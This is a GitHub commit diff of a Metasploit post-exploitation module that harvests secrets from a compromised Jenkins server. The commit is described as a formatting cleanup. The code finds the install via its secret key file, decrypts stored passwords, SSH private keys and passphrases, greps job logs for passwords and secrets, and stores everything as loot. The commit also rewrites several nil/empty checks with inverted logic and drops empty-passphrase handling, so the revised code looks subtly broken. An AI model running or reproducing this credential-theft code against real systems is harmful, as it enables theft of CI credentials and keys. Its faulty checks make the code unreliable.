Skip to content

Commit 7d03368

Browse files
committed
clean up formatting
1 parent 5d4105d commit 7d03368

File tree

1 file changed

+28
-35
lines changed

1 file changed

+28
-35
lines changed

modules/post/multi/gather/jenkins_gather.rb

Lines changed: 28 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ def initialize(info = {})
2020
'License' => MSF_LICENSE,
2121
'Author' => [ 'thesubtlety' ],
2222
'Platform' => [ 'linux', 'win' ],
23-
'SessionTypes' => [ %w[ shell meterpreter ] ]
23+
'SessionTypes' => [ %w[shell meterpreter] ]
2424
))
2525
register_options(
2626
[ OptBool.new('STORE_LOOT', [false, 'Store files in loot (will simply output file to console if set to false).', true]),
@@ -35,17 +35,17 @@ def initialize(info = {})
3535

3636
def report_creds(user, pass)
3737
return if user.empty? || pass.empty?
38-
credential_data = {
39-
origin_type: :session,
40-
post_reference_name: self.fullname,
41-
private_data: pass,
42-
private_type: :password,
43-
session_id: session_db_id,
44-
username: user,
45-
workspace_id: myworkspace_id
46-
}
47-
48-
create_credential(credential_data)
38+
credential_data = {
39+
origin_type: :session,
40+
post_reference_name: self.fullname,
41+
private_data: pass,
42+
private_type: :password,
43+
session_id: session_db_id,
44+
username: user,
45+
workspace_id: myworkspace_id
46+
}
47+
48+
create_credential(credential_data)
4949
end
5050

5151
def parse_credentialsxml(file)
@@ -62,9 +62,6 @@ def parse_credentialsxml(file)
6262

6363
xml_doc = Nokogiri::XML(f)
6464
xml_doc.xpath("//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl").each do |node|
65-
username = ""
66-
password = ""
67-
description = ""
6865
username = node.xpath("username").text
6966
password = decrypt(node.xpath("password").text)
7067
description = node.xpath("description").text
@@ -74,26 +71,21 @@ def parse_credentialsxml(file)
7471
end
7572

7673
xml_doc.xpath("//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey").each do |node|
77-
cred_id = ""
78-
username = ""
79-
description = ""
80-
passphrase = ""
81-
private_key = ""
8274
cred_id = node.xpath("id").text
8375
username = node.xpath("username").text
8476
description = node.xpath("description").text
85-
passphrase = node.xpath("passphrase").text.gsub("lneLKHOnEJRWJE7IKwLpAg==", "") # jenkins v1 empty passphrase
86-
passphrase = decrypt(passphrase) unless passphrase == "lneLKHOnEJRWJE7IKwLpAg=="
77+
passphrase = node.xpath("passphrase").text
78+
passphrase = decrypt(passphrase)
8779
private_key = node.xpath("//privateKeySource//privateKey").text
88-
private_key = decrypt(private_key) unless private_key.match?(/----BEGIN/)
80+
private_key = decrypt(private_key) if !private_key.match?(/----BEGIN/)
8981
print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || '<empty>' } Username: #{username} Description: #{description}")
9082

9183
store_loot("ssh-#{cred_id}", 'text/plain', session, private_key, nil, nil) if datastore['STORE_LOOT']
9284
@ssh_keys << [cred_id, description, passphrase, username, private_key]
9385

9486
begin
9587
k = OpenSSL::PKey::RSA.new(private_key, passphrase)
96-
key = SSHKey.new(k, :passphrase => passphrase, :comment => cred_id)
88+
key = SSHKey.new(k, passphrase: passphrase, comment: cred_id)
9789
credential_data = {
9890
origin_type: :session,
9991
session_id: session_db_id,
@@ -175,7 +167,7 @@ def parse_jobs(file)
175167
end
176168

177169
@creds << [username, pw, ""]
178-
print_good("Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}") unless pw.blank?
170+
print_good("Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}") if !pw.blank?
179171
store_loot("job-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
180172
end
181173

@@ -191,7 +183,7 @@ def pretty_print_gathered
191183
]
192184
)
193185
@creds.uniq.each { |e| creds_table << e }
194-
print_good("\n" + creds_table.to_s) unless creds_table.rows.count.zero?
186+
print_good("\n" + creds_table.to_s) if !creds_table.rows.count.zero?
195187
store_loot('all.creds.csv', 'text/plain', session, creds_table.to_csv, nil, nil) if datastore['STORE_LOOT']
196188

197189
api_table = Rex::Text::Table.new(
@@ -204,7 +196,7 @@ def pretty_print_gathered
204196
]
205197
)
206198
@api_tokens.uniq.each { |e| api_table << e }
207-
print_good("\n" + api_table.to_s) unless api_table.rows.count.zero?
199+
print_good("\n" + api_table.to_s) if !api_table.rows.count.zero?
208200
store_loot('all.apitokens.csv', 'text/plain', session, api_table.to_csv, nil, nil) if datastore['STORE_LOOT']
209201

210202
node_table = Rex::Text::Table.new(
@@ -220,15 +212,15 @@ def pretty_print_gathered
220212
]
221213
)
222214
@nodes.uniq.each { |e| node_table << e }
223-
print_good("\n" + node_table.to_s) unless node_table.rows.count.zero?
215+
print_good("\n" + node_table.to_s) if !node_table.rows.count.zero?
224216
store_loot('all.nodes.csv', 'text/plain', session, node_table.to_csv, nil, nil) if datastore['STORE_LOOT']
225217

226218
@ssh_keys.uniq.each do |e|
227219
print_good("SSH Key")
228220
print_status(" ID: #{e[0]}")
229-
print_status(" Description: #{e[1]}") unless e[1].nil? || e[1].empty?
230-
print_status(" Passphrase: #{e[2]}") unless e[2].nil? || e[2].empty?
231-
print_status(" Username: #{e[3]}") unless e[3].nil? || e[3].empty?
221+
print_status(" Description: #{e[1]}") if !e[1].nil? || !e[1].empty?
222+
print_status(" Passphrase: #{e[2]}") if !e[2].nil? || !e[2].empty?
223+
print_status(" Username: #{e[3]}") if !e[3].nil? || !e[3].empty?
232224
print_status("\n#{e[4]}")
233225
end
234226
ssh_output = @ssh_keys.each { |e| e.join(",") + "\n\n\n" }
@@ -244,7 +236,7 @@ def grep_job_history(path, platform)
244236
results = cmd_exec("/bin/egrep", "-ir \"password|secret|key\" --include log \"#{path}\"")
245237
end
246238
store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?
247-
print_good("Job Log truffles:\n#{results}") unless results.empty?
239+
print_good("Job Log truffles:\n#{results}") if !results.empty?
248240
end
249241

250242
def find_configs(path, platform)
@@ -254,7 +246,8 @@ def find_configs(path, platform)
254246
case session.type
255247
when 'meterpreter'
256248
configs = ""
257-
c = session.fs.file.search(path,"config.xml", recurse = true, timeout = -1).concat(session.fs.file.search(path, "build.xml", recurse = true, timeout = -1))
249+
c = session.fs.file.search(path, "config.xml", true, -1) \
250+
.concat(session.fs.file.search(path, "build.xml", true, -1))
258251
c.each { |f| configs << f["path"] + "\\" + f["name"] + "\n" }
259252
else
260253
configs = cmd_exec("cmd.exe", "/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")
@@ -325,7 +318,7 @@ def find_home(platform)
325318
when "nix"
326319
home = cmd_exec("find", "/ -name 'secret.key.not-so-secret' 2>/dev/null", timeout = 120).split('/')[0..-2].join('/').strip
327320
end
328-
fail_with(Failure::NotFound, "No Jenkins installation found or readable, exiting...") unless exist?(home)
321+
fail_with(Failure::NotFound, "No Jenkins installation found or readable, exiting...") if !exist?(home)
329322
print_status("Found Jenkins installation at #{home}")
330323
home
331324
end
@@ -366,7 +359,7 @@ def decrypt_key(master_key, hudson_secret_key)
366359
intermediate.key = hashed_master_key
367360

368361
salted_final = intermediate.update(hudson_secret_key) + intermediate.final
369-
raise 'no magic key in a' unless salted_final.include?(magic)
362+
raise 'no magic key in a' if !salted_final.include?(magic)
370363
salted_final[0..15]
371364
end
372365

0 commit comments

Comments
 (0)